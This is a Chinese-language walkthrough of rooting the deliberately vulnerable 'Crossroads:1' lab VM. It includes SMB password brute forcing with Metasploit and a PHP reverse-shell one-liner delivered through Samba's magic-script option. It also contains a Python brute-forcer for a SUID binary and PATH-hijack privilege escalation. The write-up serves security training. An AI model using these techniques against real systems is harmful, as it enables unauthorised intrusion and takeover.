HackMyVM:CROSSROADS:1

admin 2021年7月18日21:53:46HackMyVM:CROSSROADS:1已关闭评论108 views字数 4057阅读13分31秒阅读模式

VulnHub:CROSSROADS:1

crossroads:1为3月份vulnhub和HackMyVM刚刚上架的一台靶机,模拟了一台带有漏洞的医疗网站web服务器,要攻破这台机器,我们的最终目标是拿下它的root权限,靶机涉及到的漏洞点有smb魔术脚本、本地suid文件提权、环境变量提权等。靶机比较新,斗胆下载来做了一下,笔者技术菜,下笔诚惶诚恐,若有什么遗漏点或者技术不到位之处还请各位师傅斧正。

网络结构:

环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机Crossroads:1组成

靶机ip:192.168.1.151

kali linux ip:192.168.1.137

靶机获取:https://download.vulnhub.com/crossroads/crossroads_vh.ova

https://downloads.hackmyvm.eu/crossroads.zip

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.151

HackMyVM:CROSSROADS:1

端口服务扫描:

nmap -p 1-65535 -A 192.168.1.151 -sV -T4

如图,靶机除开放80端口外,还开放了139和445端口,开放samba服务

HackMyVM:CROSSROADS:1

访问samba服务,不允许匿名访问,先搁置

HackMyVM:CROSSROADS:1

目录爆破:

python dirsearch.py -u 192.168.1.151

HackMyVM:CROSSROADS:1

仅扫描到两个可访问页面,其中index.html为网站主页,查看各链接跳转后,仅发现一个注册、登录页面,为普通用户登录,未发现后台登录页面

HackMyVM:CROSSROADS:1

robots.txt给我们提示了一张图片crossroads.png

HackMyVM:CROSSROADS:1

HackMyVM:CROSSROADS:1

使用enum4linux对靶机进行信息收集

enum4linux 192.168.1.151 -A

在收集结果中,提供了部分用户信息给我们,用户名albert

HackMyVM:CROSSROADS:1

漏洞挖掘及利用:

至此,在web服务中并没有看到什么后台管理页面,也未发现有明显的web漏洞点可供利用,需要从smb寻找思路

在之前的信息收集中,我们获得了一个用户名albert,这里可以尝试使用该用户名对smb服务进行爆破

使用msf的smb爆破模块,设置好地址、线程、字典等信息

```
(rootkali)-[~]

msfconsole

msf6 > use auxiliary/scanner/smb/smb_login

msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.1.151

msf6 auxiliary(scanner/smb/smb_login) > set threads 100

msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt

msf6 auxiliary(scanner/smb/smb_login) > set VERBOSE false
```

show options

HackMyVM:CROSSROADS:1

运行msf,成功拿到albert的密码bradley1

HackMyVM:CROSSROADS:1

连接smb服务,进入smbshare目录

HackMyVM:CROSSROADS:1

在图中我们可以看到一个smb.conf文件,查看此文件,发现是smb的配置文件

HackMyVM:CROSSROADS:1

如上图,我们可以看到magic script选项被设置了文件名smbscript.sh,magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件

利用这个特性,这里我们可以自己写一个smbscript.sh文件,利用smb上传,获取反弹shell

php -r '$sock=fsockopen("192.168.1.137",1234);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

kali端监听端口

HackMyVM:CROSSROADS:1

使用smbclient上传文件

smbclient //192.168.1.151/smbshare/ -U albert

HackMyVM:CROSSROADS:1

put smbscript.sh

HackMyVM:CROSSROADS:1

反弹成功

HackMyVM:CROSSROADS:1

权限提升:

获取一个交互式shell,如图,我们是以albert的身份登录

python -c "import pty;pty.spawn('/bin/bash');"

HackMyVM:CROSSROADS:1

利用smb上传一个本地信息收集脚本LinEnum.sh

HackMyVM:CROSSROADS:1

运行该脚本,将运行结果保存至a.txt

HackMyVM:CROSSROADS:1

再利用smb将结果下载至本地

HackMyVM:CROSSROADS:1

在脚本收集的信息中,我们可以看到在设置了suid的文件中有一个文件beroot,显然不是系统命令

HackMyVM:CROSSROADS:1

到/home/albert目录下,运行该程序,提示我们输入root密码,结合脚本的名字beroot,这个程序应该是实现猜解root密码,且运行的时候会先进行清屏,推测调用了clear命令,暂时还不知道调用了什么其他的系统命令

HackMyVM:CROSSROADS:1

除了这个suid文件外,暂时还没有发现什么其他可疑的漏洞点,系统内核的版本也相当高,为Debian 4.19.160-2,查不到什么系统漏洞。

此时还剩下一张图片我们没有使用,就是之前在robots.txt看到的crossroads.png,这个文件就存放在/home/albert目录下,将其移动至/home/albert/smbshare目录后,同样利用smb服务将其下载到本地

HackMyVM:CROSSROADS:1

使用binwalk查看此图片,并没有发现什么特殊信息

HackMyVM:CROSSROADS:1

使用stegoveritas提取图片信息,stegoveritas是一款通用隐写术检测工具,可以提取一些常见隐写法隐藏的文件

获取链接:https://github.com/bannsec/stegoVeritas

HackMyVM:CROSSROADS:1

HackMyVM:CROSSROADS:1

提取结果被放置在一个result目录下,可以看到提取出来很多文件

HackMyVM:CROSSROADS:1

查看第一个,是一个两千多行的字典,猜测beroot程序的密码就在此字典中

cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e

HackMyVM:CROSSROADS:1


将其内容复制进txt文件

cat 1617112472.3782713-0b000cfc1c19ffccdd494adeb00c3d4e > 1.txt

利用smb上传至靶机

HackMyVM:CROSSROADS:1

此时我们需要利用此字典中的密码来测试beroot程序,手动试的话太过繁琐,这里通过编写一个脚本来代替人工

```
/usr/bin/python3

import subprocess
import os
import time
import sys

path = '/usr/bin/echo'
content = "wrong password!!"
blank = " "
executable = "beroot"

def broot():
os.system("export TERM=xterm")
with open("1.txt","r",encoding="ISO-8859-1") as file:
words = file.read().splitlines() //读取字典条目

    for word in words:               //遍历字典
                execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable)                      //利用getoutput函数执行系统命令,运行beroot,并返回执行结果
                print(execute)
                if content not in execute:
                        print("[!]Password:" + word)      //打印正确密码
                        sys.exit(0)

broot()
```

同样使用smb服务将脚本b.py上传至靶机

HackMyVM:CROSSROADS:1

之后将字典1.txt和脚本b.py移至beroot程序所在的目录/home/albert,运行

python3 b.py

HackMyVM:CROSSROADS:1

如上图,密码停在了#1bitch,我们手动测试一下beroot,然而此时仍然提示wrong password

HackMyVM:CROSSROADS:1

我们将密码#1bitch从字典中去除,上传新字典再运行一次,这次密码停在了lemuel,且提示了我们其他信息:do ls and find root creds

HackMyVM:CROSSROADS:1

我们再次手动进行测试,显示结果与脚本运行是一致的

HackMyVM:CROSSROADS:1

回显信息提示我们查看当前目录,寻找creds,我们照做,可以看到当前目录下多出了一个文件rootcreds

HackMyVM:CROSSROADS:1

查看此文件,给了我们一段文本,可能是root密码,看来之前用beroot测试出的并不是root密码

HackMyVM:CROSSROADS:1

su登录测试,成功提权至root

HackMyVM:CROSSROADS:1

换个思路:

之前提到在运行beroot程序时,会先进行清屏操作,怀疑调用了clear程序,反汇编这个程序的话,会发现这个程序并没有直接实现功能,而是调用了/root目录下的一个beroot.sh程序

HackMyVM:CROSSROADS:1

而/root目录并没有给albert访问权限

HackMyVM:CROSSROADS:1

这样我们只能盲猜它调用了clear命令,实际上做了清屏操作的话,大概率是调用了clear命令

我们这里可以借助环境变量来劫持命令进行提权,环境变量提权,顾名思义,使用环境变量进行提权,因为我们猜测beroot.sh运行时调用系统命令clear,而此程序又是以root身份运行,如若我们可以添加环境变量,我们就可以伪造一个clear程序添加进环境变量,beroot在调用命令时首先检索环境变量就会调用到我们伪造的程序,执行我们想要的命令,来达到提权的效果

首先伪造一个clear程序:

HackMyVM:CROSSROADS:1

估计环境变量文件我们是没有权限更改的,但可以暂时更改环境变量

export PATH=/home/albert:$PATH

给clear添加权限

HackMyVM:CROSSROADS:1

再次运行beroot,成功提权至root

HackMyVM:CROSSROADS:1

相关推荐: CVE-2021-30465

声明 本文为译文,原文作者Etienne Champetier,原文来自http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ 前言 runc挂载地址可以通过Symlink-exchange进行交换,这导致了可…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月18日21:53:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackMyVM:CROSSROADS:1https://cn-sec.com/archives/427364.html